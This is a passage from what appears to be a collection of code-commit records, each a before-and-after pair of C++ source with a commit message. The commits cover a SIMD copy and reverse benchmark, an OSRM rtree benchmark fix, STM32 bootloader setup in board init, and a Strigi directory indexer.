reverse(gathered);\n    gathered.store_aligned(&(output[i]));\n  }\n  if (vec_end != num_elements) {\n    int i = vec_end;\n    FixedVectorMask<VecWidth> store_mask = FixedVectorMask<VecWidth>::FirstN(num_elements - vec_end);\n    FixedVector<float, VecWidth> gathered(&input[num_elements - i - VecWidth], true);\n    gathered = reverse(gathered);\n    gathered.store_aligned(&(output[i]), store_mask);\n  }\n}\n\ntypedef void(*MemCpyFunc)(const float*, float*, const int*, int);\n\nvoid BenchFunctions(const char* func1_name, MemCpyFunc func1,\n                    const char* func2_name, MemCpyFunc func2,\n                    const float* input,\n                    float* func1_output, float* func2_output,\n                    const int* permute, int num_elements,\n                    int bench, int warmup) {\n  for (int i = 0; i < warmup; i++) {\n    func1(input, func1_output, permute, num_elements);\n  }\n  CycleTimer::SysClock start_func1 = CycleTimer::currentTicks();\n  for (int i = 0; i < bench; i++) {\n    func1(input, func1_output, permute, num_elements);\n  }\n  CycleTimer::SysClock end_func1 = CycleTimer::currentTicks();\n\n  CycleTimer::SysClock func1_ticks = end_func1 - start_func1;\n  double func1_time_avg = func1_ticks * CycleTimer::secondsPerTick() \/ bench;\n  CycleTimer::SysClock func1_ticks_per_element = func1_ticks \/ (num_elements * bench);\n  printf(\"%25s time: %lf (%4.2f million elements per second, %d %s per element)\\n\", func1_name, func1_time_avg, (num_elements \/ func1_time_avg) \/ 1e6f, int(func1_ticks_per_element), CycleTimer::tickUnits());\n\n  if (func2) {\n    for (int i = 0; i < warmup; i++) {\n      func2(input, func2_output, permute, num_elements);\n    }\n    CycleTimer::SysClock start_func2 = CycleTimer::currentTicks();\n    for (int i = 0; i < bench; i++) {\n      func2(input, func2_output, permute, num_elements);\n    }\n    CycleTimer::SysClock end_func2 = CycleTimer::currentTicks();\n    CycleTimer::SysClock func2_ticks = end_func2 - start_func2;\n    double func2_time_avg = func2_ticks * CycleTimer::secondsPerTick() \/ bench;\n    CycleTimer::SysClock func2_ticks_per_element = func2_ticks \/ (num_elements * bench);\n    printf(\"%25s time: %lf (%4.2f million elements per second, %d %s per element)\\n\", func2_name, func2_time_avg, (num_elements \/ func2_time_avg) \/ 1e6f, int(func2_ticks_per_element), CycleTimer::tickUnits());\n    printf(\"%25s vs %s speedup: %lf\\n\\n\", func1_name, func2_name, func1_time_avg \/ func2_time_avg);\n\n    for (int i = 0; i < num_elements; i++) {\n      if (func1_output[i] != func2_output[i]) {\n        printf(\"ERROR: Outputs differ %4d, %s -> %8f != %s -> %8f (input = %8f)\\n\", i, func1_name, func1_output[i], func2_name, func2_output[i], input[i]);\n      }\n    }\n  }\n}\n\nint main(int argc, char** argv) {\n  int num_elements = kDefaultNumElements;\n  int bench = kNumBench;\n  int warmup = kNumWarmup;\n\n  if (argc > 1) num_elements = atoi(argv[1]);\n\n  float* scalar_output = new float[num_elements];\n  float* vector_output = new float[num_elements];\n  float* input = randomFloats(num_elements, 0xDEADBABE);\n  int* permutation = new int[num_elements];\n  \/\/ Identity for now.\n  for (int i = 0; i < num_elements; i++) {\n    permutation[i] = i;\n  }\n\n#if 0\n  BenchFunctions(\"gather_scalar\", gather_scalar,\n                 \"copy_scalar\", copy_scalar,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n\n  BenchFunctions(\"copy_scalar\", copy_scalar,\n                 \"copy_scalar_unroll16\", copy_scalar_unroll16,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n  BenchFunctions(\"reverse_scalar\", reverse_scalar,\n                 \"reverse_scalar_unroll16\", reverse_scalar_unroll16,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n\n\n  BenchFunctions(\"copy_scalar_unroll16\", copy_scalar_unroll16,\n                 \"copy_vector\", copy_vector,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n#endif\n  BenchFunctions(\"reverse_scalar_unroll16\", reverse_scalar_unroll16,\n                 \"reverse_vector\", reverse_vector,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n  return 0;\n}\n<commit_msg>Re-enable the other memcpy tests and remember to compare to actual memcpy<commit_after>#include \"syrah\/FixedVector.h\"\n#include \"syrah\/CycleTimer.h\"\nusing namespace syrah;\nstatic const int VecWidth = 16;\nstatic const int kDefaultNumElements = 1024;\nstatic const int kNumWarmup = 16;\nstatic const int kNumBench  = 1024 * 16 * 16;\n\nfloat* randomFloats(int how_many, unsigned int seed) {\n  float* result = new float[how_many];\n  unsigned int lcg = seed;\n  for (int i = 0; i < how_many; i++) {\n    lcg = 1664525 * lcg + 1013904223;\n    result[i] = -10.f + 20.f * (lcg \/ 4294967296.f);\n  }\n  return result;\n}\n\nvoid gather_scalar(const float* input, float* output, const int* permute, int num_elements) {\n  for (int i = 0; i < num_elements; i++) {\n    output[i] = input[permute[i]];\n  }\n}\n\nvoid copy_scalar(const float* input, float* output, const int* permute, int num_elements) {\n  for (int i = 0; i < num_elements; i++) {\n    output[i] = input[i];\n  }\n}\n\nvoid copy_scalar_unroll16(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+= VecWidth) {\n#if 0\n    float* dst = &output[i];\n    const float* src = &input[i];\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n#else\n    output[i + 0] = input[i + 0];\n    output[i + 1] = input[i + 1];\n    output[i + 2] = input[i + 2];\n    output[i + 3] = input[i + 3];\n\n    output[i + 4] = input[i + 4];\n    output[i + 5] = input[i + 5];\n    output[i + 6] = input[i + 6];\n    output[i + 7] = input[i + 7];\n\n    output[i + 8] = input[i + 8];\n    output[i + 9] = input[i + 9];\n    output[i + 10] = input[i + 10];\n    output[i + 11] = input[i + 11];\n\n    output[i + 12] = input[i + 12];\n    output[i + 13] = input[i + 13];\n    output[i + 14] = input[i + 14];\n    output[i + 15] = input[i + 15];\n#endif\n  }\n  if (vec_end != num_elements) {\n    for (int i = vec_end; i < num_elements; i++) {\n      output[i] = input[i];\n    }\n  }\n}\n\nvoid memcpy_scalar(const float* input, float* output, const int* permute, int num_elements) {\n  memcpy(output, input, sizeof(float) * num_elements);\n}\n\nvoid reverse_scalar(const float* input, float* output, const int* permute, int num_elements) {\n  for (int i = 0; i < num_elements; i++) {\n    output[i] = input[num_elements - 1 - i];\n  }\n}\n\nvoid reverse_scalar_unroll16(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+= VecWidth) {\n    float* dst = &output[i];\n    const float* src = &input[num_elements - 1 - i];\n    \/\/ NOTE(boulos): This version is much faster than doing array\n    \/\/ indexing while above they're similar with arrays being faster.\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n  }\n  for (int i = vec_end; i < num_elements; i++) {\n    output[i] = input[num_elements - 1 - i];\n  }\n}\n\n\nvoid gather_vector(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+=VecWidth) {\n    FixedVector<int, VecWidth> gather_indices(&permute[i], true);\n    FixedVector<float, VecWidth> gathered;\n    gathered.gather(input, gather_indices, sizeof(float));\n    gathered.store_aligned(&(output[i]));\n  }\n  if (vec_end != num_elements) {\n    int i = vec_end;\n    FixedVectorMask<VecWidth> store_mask = FixedVectorMask<VecWidth>::FirstN(num_elements - vec_end);\n    FixedVector<int, VecWidth> gather_indices(&permute[i], true);\n    FixedVector<float, VecWidth> gathered;\n    gathered.gather(input, gather_indices, sizeof(float), store_mask);\n    gathered.store_aligned(&(output[i]), store_mask);\n  }\n}\n\nvoid copy_vector(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+=VecWidth) {\n    FixedVector<float, VecWidth> gathered(&input[i], true);\n    gathered.store_aligned(&(output[i]));\n  }\n  if (vec_end != num_elements) {\n    int i = vec_end;\n    FixedVectorMask<VecWidth> store_mask = FixedVectorMask<VecWidth>::FirstN(num_elements - vec_end);\n    FixedVector<float, VecWidth> gathered(&input[i], true);\n    gathered.store_aligned(&(output[i]), store_mask);\n  }\n}\n\nvoid reverse_vector(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+=VecWidth) {\n    \/\/ Load the vecwidth stuff, and then do it backwards\n    FixedVector<float, VecWidth> gathered(&input[num_elements - i - VecWidth], true);\n    gathered = reverse(gathered);\n    gathered.store_aligned(&(output[i]));\n  }\n  if (vec_end != num_elements) {\n    int i = vec_end;\n    FixedVectorMask<VecWidth> store_mask = FixedVectorMask<VecWidth>::FirstN(num_elements - vec_end);\n    FixedVector<float, VecWidth> gathered(&input[num_elements - i - VecWidth], true);\n    gathered = reverse(gathered);\n    gathered.store_aligned(&(output[i]), store_mask);\n  }\n}\n\ntypedef void(*MemCpyFunc)(const float*, float*, const int*, int);\n\nvoid BenchFunctions(const char* func1_name, MemCpyFunc func1,\n                    const char* func2_name, MemCpyFunc func2,\n                    const float* input,\n                    float* func1_output, float* func2_output,\n                    const int* permute, int num_elements,\n                    int bench, int warmup) {\n  for (int i = 0; i < warmup; i++) {\n    func1(input, func1_output, permute, num_elements);\n  }\n  CycleTimer::SysClock start_func1 = CycleTimer::currentTicks();\n  for (int i = 0; i < bench; i++) {\n    func1(input, func1_output, permute, num_elements);\n  }\n  CycleTimer::SysClock end_func1 = CycleTimer::currentTicks();\n\n  CycleTimer::SysClock func1_ticks = end_func1 - start_func1;\n  double func1_time_avg = func1_ticks * CycleTimer::secondsPerTick() \/ bench;\n  CycleTimer::SysClock func1_ticks_per_element = func1_ticks \/ (num_elements * bench);\n  printf(\"%25s time: %lf (%4.2f million elements per second, %d %s per element)\\n\", func1_name, func1_time_avg, (num_elements \/ func1_time_avg) \/ 1e6f, int(func1_ticks_per_element), CycleTimer::tickUnits());\n\n  if (func2) {\n    for (int i = 0; i < warmup; i++) {\n      func2(input, func2_output, permute, num_elements);\n    }\n    CycleTimer::SysClock start_func2 = CycleTimer::currentTicks();\n    for (int i = 0; i < bench; i++) {\n      func2(input, func2_output, permute, num_elements);\n    }\n    CycleTimer::SysClock end_func2 = CycleTimer::currentTicks();\n    CycleTimer::SysClock func2_ticks = end_func2 - start_func2;\n    double func2_time_avg = func2_ticks * CycleTimer::secondsPerTick() \/ bench;\n    CycleTimer::SysClock func2_ticks_per_element = func2_ticks \/ (num_elements * bench);\n    printf(\"%25s time: %lf (%4.2f million elements per second, %d %s per element)\\n\", func2_name, func2_time_avg, (num_elements \/ func2_time_avg) \/ 1e6f, int(func2_ticks_per_element), CycleTimer::tickUnits());\n    printf(\"%25s vs %s speedup: %lf\\n\\n\", func1_name, func2_name, func1_time_avg \/ func2_time_avg);\n\n    for (int i = 0; i < num_elements; i++) {\n      if (func1_output[i] != func2_output[i]) {\n        printf(\"ERROR: Outputs differ %4d, %s -> %8f != %s -> %8f (input = %8f)\\n\", i, func1_name, func1_output[i], func2_name, func2_output[i], input[i]);\n      }\n    }\n  }\n}\n\nint main(int argc, char** argv) {\n  int num_elements = kDefaultNumElements;\n  int bench = kNumBench;\n  int warmup = kNumWarmup;\n\n  if (argc > 1) num_elements = atoi(argv[1]);\n\n  float* scalar_output = new float[num_elements];\n  float* vector_output = new float[num_elements];\n  float* input = randomFloats(num_elements, 0xDEADBABE);\n  int* permutation = new int[num_elements];\n  \/\/ Identity for now.\n  for (int i = 0; i < num_elements; i++) {\n    permutation[i] = i;\n  }\n\n#if 1\n  BenchFunctions(\"gather_scalar\", gather_scalar,\n                 \"copy_scalar\", copy_scalar,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n\n  BenchFunctions(\"copy_scalar\", copy_scalar,\n                 \"copy_scalar_unroll16\", copy_scalar_unroll16,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n\n  BenchFunctions(\"copy_scalar\", copy_scalar,\n                 \"memcpy_scalar\", memcpy_scalar,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n\n  BenchFunctions(\"reverse_scalar\", reverse_scalar,\n                 \"reverse_scalar_unroll16\", reverse_scalar_unroll16,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n\n\n  BenchFunctions(\"copy_scalar_unroll16\", copy_scalar_unroll16,\n                 \"copy_vector\", copy_vector,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n#endif\n  BenchFunctions(\"reverse_scalar_unroll16\", reverse_scalar_unroll16,\n                 \"reverse_vector\", reverse_vector,\n                 input, scalar_output, vector_output, permutation, num_elements, bench, warmup);\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"engine\/geospatial_query.hpp\"\n#include \"extractor\/query_node.hpp\"\n#include \"extractor\/edge_based_node.hpp\"\n#include \"util\/static_rtree.hpp\"\n#include \"util\/timing_util.hpp\"\n#include \"util\/coordinate.hpp\"\n#include \"mocks\/mock_datafacade.hpp\"\n\n#include <iostream>\n#include <random>\n\n#include <boost\/filesystem\/fstream.hpp>\n\nnamespace osrm\n{\nnamespace benchmarks\n{\n\nusing namespace osrm::test;\n\n\/\/ Choosen by a fair W20 dice roll (this value is completely arbitrary)\nconstexpr unsigned RANDOM_SEED = 13;\nconstexpr int32_t WORLD_MIN_LAT = -90 * COORDINATE_PRECISION;\nconstexpr int32_t WORLD_MAX_LAT = 90 * COORDINATE_PRECISION;\nconstexpr int32_t WORLD_MIN_LON = -180 * COORDINATE_PRECISION;\nconstexpr int32_t WORLD_MAX_LON = 180 * COORDINATE_PRECISION;\n\nusing RTreeLeaf = extractor::EdgeBasedNode;\nusing CoordinateListPtr = std::shared_ptr<std::vector<util::Coordinate>>;\nusing BenchStaticRTree =\n    util::StaticRTree<RTreeLeaf, util::ShM<util::Coordinate, false>::vector, false>;\n\nCoordinateListPtr loadCoordinates(const boost::filesystem::path &nodes_file)\n{\n    boost::filesystem::ifstream nodes_input_stream(nodes_file, std::ios::binary);\n\n    extractor::QueryNode current_node;\n    unsigned coordinate_count = 0;\n    nodes_input_stream.read((char *)&coordinate_count, sizeof(unsigned));\n    auto coords = std::make_shared<std::vector<Coordinate>>(coordinate_count);\n    for (unsigned i = 0; i < coordinate_count; ++i)\n    {\n        nodes_input_stream.read((char *)&current_node, sizeof(extractor::QueryNode));\n        coords->at(i) = util::Coordinate(current_node.lon, current_node.lat);\n    }\n    return coords;\n}\n\ntemplate <typename QueryT>\nvoid benchmarkQuery(const std::vector<util::Coordinate> &queries,\n                    const std::string &name,\n                    QueryT query)\n{\n    std::cout << \"Running \" << name << \" with \" << queries.size() << \" coordinates: \" << std::flush;\n\n    TIMER_START(query);\n    for (const auto &q : queries)\n    {\n        auto result = query(q);\n        (void)result;\n    }\n    TIMER_STOP(query);\n\n    std::cout << \"Took \" << TIMER_SEC(query) << \" seconds \"\n              << \"(\" << TIMER_MSEC(query) << \"ms\"\n              << \")  ->  \" << TIMER_MSEC(query) \/ queries.size() << \" ms\/query \"\n              << \"(\" << TIMER_MSEC(query) << \"ms\"\n              << \")\" << std::endl;\n}\n\nvoid benchmark(BenchStaticRTree &rtree, unsigned num_queries)\n{\n    std::mt19937 mt_rand(RANDOM_SEED);\n    std::uniform_int_distribution<> lat_udist(WORLD_MIN_LAT, WORLD_MAX_LAT);\n    std::uniform_int_distribution<> lon_udist(WORLD_MIN_LON, WORLD_MAX_LON);\n    std::vector<util::Coordinate> queries;\n    for (unsigned i = 0; i < num_queries; i++)\n    {\n        queries.emplace_back(util::FixedLongitude{lon_udist(mt_rand)},\n                             util::FixedLatitude{lat_udist(mt_rand)});\n    }\n\n    benchmarkQuery(queries, \"raw RTree queries (1 result)\", [&rtree](const util::Coordinate &q)\n                   {\n                       return rtree.Nearest(q, 1);\n                   });\n    benchmarkQuery(queries, \"raw RTree queries (10 results)\", [&rtree](const util::Coordinate &q)\n                   {\n                       return rtree.Nearest(q, 10);\n                   });\n}\n}\n}\n\nint main(int argc, char **argv)\n{\n    if (argc < 4)\n    {\n        std::cout << \".\/rtree-bench file.ramIndex file.fileIndx file.nodes\"\n                  << \"\\n\";\n        return 1;\n    }\n\n    const char *ram_path = argv[1];\n    const char *file_path = argv[2];\n    const char *nodes_path = argv[3];\n\n    auto coords = osrm::benchmarks::loadCoordinates(nodes_path);\n\n    osrm::benchmarks::BenchStaticRTree rtree(ram_path, file_path, coords);\n\n    osrm::benchmarks::benchmark(rtree, 10000);\n\n    return 0;\n}\n<commit_msg>Fix rtree benchmark<commit_after>#include \"engine\/geospatial_query.hpp\"\n#include \"extractor\/query_node.hpp\"\n#include \"extractor\/edge_based_node.hpp\"\n#include \"util\/static_rtree.hpp\"\n#include \"util\/timing_util.hpp\"\n#include \"util\/coordinate.hpp\"\n#include \"mocks\/mock_datafacade.hpp\"\n\n#include <iostream>\n#include <random>\n\n#include <boost\/filesystem\/fstream.hpp>\n\nnamespace osrm\n{\nnamespace benchmarks\n{\n\nusing namespace osrm::test;\n\n\/\/ Choosen by a fair W20 dice roll (this value is completely arbitrary)\nconstexpr unsigned RANDOM_SEED = 13;\nconstexpr int32_t WORLD_MIN_LAT = -90 * COORDINATE_PRECISION;\nconstexpr int32_t WORLD_MAX_LAT = 90 * COORDINATE_PRECISION;\nconstexpr int32_t WORLD_MIN_LON = -180 * COORDINATE_PRECISION;\nconstexpr int32_t WORLD_MAX_LON = 180 * COORDINATE_PRECISION;\n\nusing RTreeLeaf = extractor::EdgeBasedNode;\nusing BenchStaticRTree =\n    util::StaticRTree<RTreeLeaf, util::ShM<util::Coordinate, false>::vector, false>;\n\nstd::vector<util::Coordinate> loadCoordinates(const boost::filesystem::path &nodes_file)\n{\n    boost::filesystem::ifstream nodes_input_stream(nodes_file, std::ios::binary);\n\n    extractor::QueryNode current_node;\n    unsigned coordinate_count = 0;\n    nodes_input_stream.read((char *)&coordinate_count, sizeof(unsigned));\n    std::vector<util::Coordinate> coords(coordinate_count);\n    for (unsigned i = 0; i < coordinate_count; ++i)\n    {\n        nodes_input_stream.read((char *)&current_node, sizeof(extractor::QueryNode));\n        coords[i] = util::Coordinate(current_node.lon, current_node.lat);\n    }\n    return coords;\n}\n\ntemplate <typename QueryT>\nvoid benchmarkQuery(const std::vector<util::Coordinate> &queries,\n                    const std::string &name,\n                    QueryT query)\n{\n    std::cout << \"Running \" << name << \" with \" << queries.size() << \" coordinates: \" << std::flush;\n\n    TIMER_START(query);\n    for (const auto &q : queries)\n    {\n        auto result = query(q);\n        (void)result;\n    }\n    TIMER_STOP(query);\n\n    std::cout << \"Took \" << TIMER_SEC(query) << \" seconds \"\n              << \"(\" << TIMER_MSEC(query) << \"ms\"\n              << \")  ->  \" << TIMER_MSEC(query) \/ queries.size() << \" ms\/query \"\n              << \"(\" << TIMER_MSEC(query) << \"ms\"\n              << \")\" << std::endl;\n}\n\nvoid benchmark(BenchStaticRTree &rtree, unsigned num_queries)\n{\n    std::mt19937 mt_rand(RANDOM_SEED);\n    std::uniform_int_distribution<> lat_udist(WORLD_MIN_LAT, WORLD_MAX_LAT);\n    std::uniform_int_distribution<> lon_udist(WORLD_MIN_LON, WORLD_MAX_LON);\n    std::vector<util::Coordinate> queries;\n    for (unsigned i = 0; i < num_queries; i++)\n    {\n        queries.emplace_back(util::FixedLongitude{lon_udist(mt_rand)},\n                             util::FixedLatitude{lat_udist(mt_rand)});\n    }\n\n    benchmarkQuery(queries, \"raw RTree queries (1 result)\", [&rtree](const util::Coordinate &q)\n                   {\n                       return rtree.Nearest(q, 1);\n                   });\n    benchmarkQuery(queries, \"raw RTree queries (10 results)\", [&rtree](const util::Coordinate &q)\n                   {\n                       return rtree.Nearest(q, 10);\n                   });\n}\n}\n}\n\nint main(int argc, char **argv)\n{\n    if (argc < 4)\n    {\n        std::cout << \".\/rtree-bench file.ramIndex file.fileIndx file.nodes\"\n                  << \"\\n\";\n        return 1;\n    }\n\n    const char *ram_path = argv[1];\n    const char *file_path = argv[2];\n    const char *nodes_path = argv[3];\n\n    auto coords = osrm::benchmarks::loadCoordinates(nodes_path);\n\n    osrm::benchmarks::BenchStaticRTree rtree(ram_path, file_path, coords);\n\n    osrm::benchmarks::benchmark(rtree, 10000);\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright 2015-2020 Igor Petrovic\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n*\/\n\n#include \"board\/Board.h\"\n#include \"board\/Internal.h\"\n#include \"core\/src\/general\/Reset.h\"\n#include \"core\/src\/general\/Interrupt.h\"\n\nnamespace Board\n{\n    void init()\n    {\n        \/\/Reset of all peripherals, Initializes the Flash interface and the Systick\n        HAL_Init();\n\n        detail::setup::clocks();\n        detail::setup::io();\n\n#ifdef FW_APP\n        eeprom::init();\n        detail::setup::adc();\n#endif\n\n        detail::setup::timers();\n\n#ifdef USB_MIDI_SUPPORTED\n        detail::setup::usb();\n#endif\n    }\n\n    bool checkNewRevision()\n    {\n        return false;\n    }\n\n    void uniqueID(uniqueID_t& uid)\n    {\n        uint32_t id[3];\n\n        id[0] = HAL_GetUIDw0();\n        id[1] = HAL_GetUIDw1();\n        id[2] = HAL_GetUIDw2();\n\n        for (int i = 0; i < 3; i++)\n        {\n            for (int j = 0; j < 4; j++)\n                uid.uid[(i * 4) + j] = id[i] >> ((3 - j) * 8) & 0xFF;\n        }\n    }\n}    \/\/ namespace Board<commit_msg>board: setup bootloader on stm32 in board init<commit_after>\/*\n\nCopyright 2015-2020 Igor Petrovic\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n*\/\n\n#include \"board\/Board.h\"\n#include \"board\/Internal.h\"\n#include \"core\/src\/general\/Reset.h\"\n#include \"core\/src\/general\/Interrupt.h\"\n\nnamespace Board\n{\n    void init()\n    {\n        \/\/Reset of all peripherals, Initializes the Flash interface and the Systick\n        HAL_Init();\n\n        detail::setup::clocks();\n        detail::setup::io();\n\n#ifdef FW_APP\n        eeprom::init();\n        detail::setup::adc();\n\n        detail::setup::timers();\n\n#ifdef USB_MIDI_SUPPORTED\n        detail::setup::usb();\n#endif\n#else\n        detail::setup::bootloader();\n#endif\n    }\n\n    bool checkNewRevision()\n    {\n        return false;\n    }\n\n    void uniqueID(uniqueID_t& uid)\n    {\n        uint32_t id[3];\n\n        id[0] = HAL_GetUIDw0();\n        id[1] = HAL_GetUIDw1();\n        id[2] = HAL_GetUIDw2();\n\n        for (int i = 0; i < 3; i++)\n        {\n            for (int j = 0; j < 4; j++)\n                uid.uid[(i * 4) + j] = id[i] >> ((3 - j) * 8) & 0xFF;\n        }\n    }\n}    \/\/ namespace Board<|endoftext|>"}
{"text":"<commit_before>\/* This file is part of Strigi Desktop Search\n *\n * Copyright (C) 2006 Jos van den Oever <jos@vandenoever.info>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB.  If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n#include <strigi\/strigiconfig.h>\n#include \"diranalyzer.h\"\n#include \"indexpluginloader.h\"\n#include \"analyzerconfiguration.h\"\n#include <iostream>\n#include <sys\/types.h>\n#include <stgdirent.h>\n\nusing namespace std;\n\nbool\ncontainsHelp(int argc, char **argv) {\n    for (int i=1; i<argc; ++i) {\n         if (strcmp(argv[i], \"--help\") == 0\n             || strcmp(argv[i], \"-h\") == 0) return true;\n    }\n    return false;\n}\nvoid\ncheckIndexdirIsEmpty(const char* dir) {\n    DIR* d = opendir(dir);\n    if (!d) return;\n    struct dirent* de = readdir(d);\n    while (de) {\n        if (strcmp(de->d_name, \"..\") && strcmp(de->d_name, \".\")) {\n            fprintf(stderr, \"Directory %s is not empty.\\n\", dir);\n            exit(1);\n        }\n        de = readdir(d);\n    }\n    closedir(d);\n}\nint\nmain(int argc, char **argv) {\n    if (containsHelp(argc, argv) || argc != 3) {\n        fprintf(stderr, \"Usage: %s [indexdir] [dir-to-index]\\n\", argv[0]);\n        return -1;\n    }\n\n    checkIndexdirIsEmpty(argv[1]);\n\n    vector<pair<bool,string> >filters;\n    filters.push_back(make_pair<bool,string>(false,\".*\/\"));\n    filters.push_back(make_pair<bool,string>(false,\".*\"));\n    Strigi::AnalyzerConfiguration ic;\n    ic.setFilters(filters);\n    try {\n        Strigi::IndexManager *manager\n            = Strigi::IndexPluginLoader::createIndexManager(\"clucene\", argv[1]);\n        if (manager) {\n            Strigi::DirAnalyzer analyzer(*manager, ic);\n            analyzer.analyzeDir(argv[2]);\n            Strigi::IndexPluginLoader::deleteIndexManager(manager);\n        }\n    } catch (...) {\n        cerr << \"error while creating index\" << endl;\n    }\n    return 0;\n}\n<commit_msg>dashboard fix<commit_after>\/* This file is part of Strigi Desktop Search\n *\n * Copyright (C) 2006 Jos van den Oever <jos@vandenoever.info>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB.  If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n#include <strigi\/strigiconfig.h>\n#include \"diranalyzer.h\"\n#include \"indexpluginloader.h\"\n#include \"analyzerconfiguration.h\"\n#include <iostream>\n#include <sys\/types.h>\n#include <stgdirent.h>\n#include <string.h>\n\nusing namespace std;\n\nbool\ncontainsHelp(int argc, char **argv) {\n    for (int i=1; i<argc; ++i) {\n         if (strcmp(argv[i], \"--help\") == 0\n             || strcmp(argv[i], \"-h\") == 0) return true;\n    }\n    return false;\n}\nvoid\ncheckIndexdirIsEmpty(const char* dir) {\n    DIR* d = opendir(dir);\n    if (!d) return;\n    struct dirent* de = readdir(d);\n    while (de) {\n        if (strcmp(de->d_name, \"..\") && strcmp(de->d_name, \".\")) {\n            fprintf(stderr, \"Directory %s is not empty.\\n\", dir);\n            exit(1);\n        }\n        de = readdir(d);\n    }\n    closedir(d);\n}\nint\nmain(int argc, char **argv) {\n    if (containsHelp(argc, argv) || argc != 3) {\n        fprintf(stderr, \"Usage: %s [indexdir] [dir-to-index]\\n\", argv[0]);\n        return -1;\n    }\n\n    checkIndexdirIsEmpty(argv[1]);\n\n    vector<pair<bool,string> >filters;\n    filters.push_back(make_pair<bool,string>(false,\".*\/\"));\n    filters.push_back(make_pair<bool,string>(false,\".*\"));\n    Strigi::AnalyzerConfiguration ic;\n    ic.setFilters(filters);\n    try {\n        Strigi::IndexManager *manager\n            = Strigi::IndexPluginLoader::createIndexManager(\"clucene\", argv[1]);\n        if (manager) {\n            Strigi::DirAnalyzer analyzer(*manager, ic);\n            analyzer.analyzeDir(argv[2]);\n            Strigi::IndexPluginLoader::deleteIndexManager(manager);\n        }\n    } catch (...) {\n        cerr << \"error while creating index\" << endl;\n    }\n    return 0;\n}\n<|endoftext|>"}
